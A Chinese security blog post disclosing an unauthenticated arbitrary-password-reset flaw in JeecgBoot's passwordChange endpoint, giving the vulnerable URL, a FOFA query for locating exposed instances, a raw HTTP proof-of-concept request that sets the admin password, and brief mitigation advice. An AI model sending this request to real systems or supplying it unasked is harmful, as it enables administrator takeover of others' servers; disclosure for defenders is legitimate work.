【漏洞文章】JeecgBoot 任意用户密码重置

【漏洞文章】JeecgBoot 任意用户密码重置

1ang 小羊安全屋 2024-12-16 06:23

导言

文章仅用作网络安全人员对自己网站、服务器等进行自查检测,不可用于其他用途,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。切勿用于网络攻击!!!

PART 

漏洞描述

JeecgBoot框架passwordChange接口存在任意用户密码重置漏洞,未经身份验证的远程攻击者可以利用此漏洞重置管理员账户密码,从而接管系统后台,造成信息泄露,导致系统处于极不安全的状态。

漏洞复现

漏洞URL:/novat-boot/sys/user/passwordChange

漏洞参数:username、password

F O F A :body=”/sys/common/pdf/pdfPreviewIframe”

漏洞详情:

1、打开自己的服务

2、使用以
下POC进行验证

GET /novat-boot/sys/user/passwordChange?username=admin&password=admin&smscode=&phone= HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

3、漏洞利用成功

修复建议

官网
目前未发布补丁
,建议
禁止对互联网开放
,或
采用白名单方式限制访问

个人星球,欢迎加入

——The  End——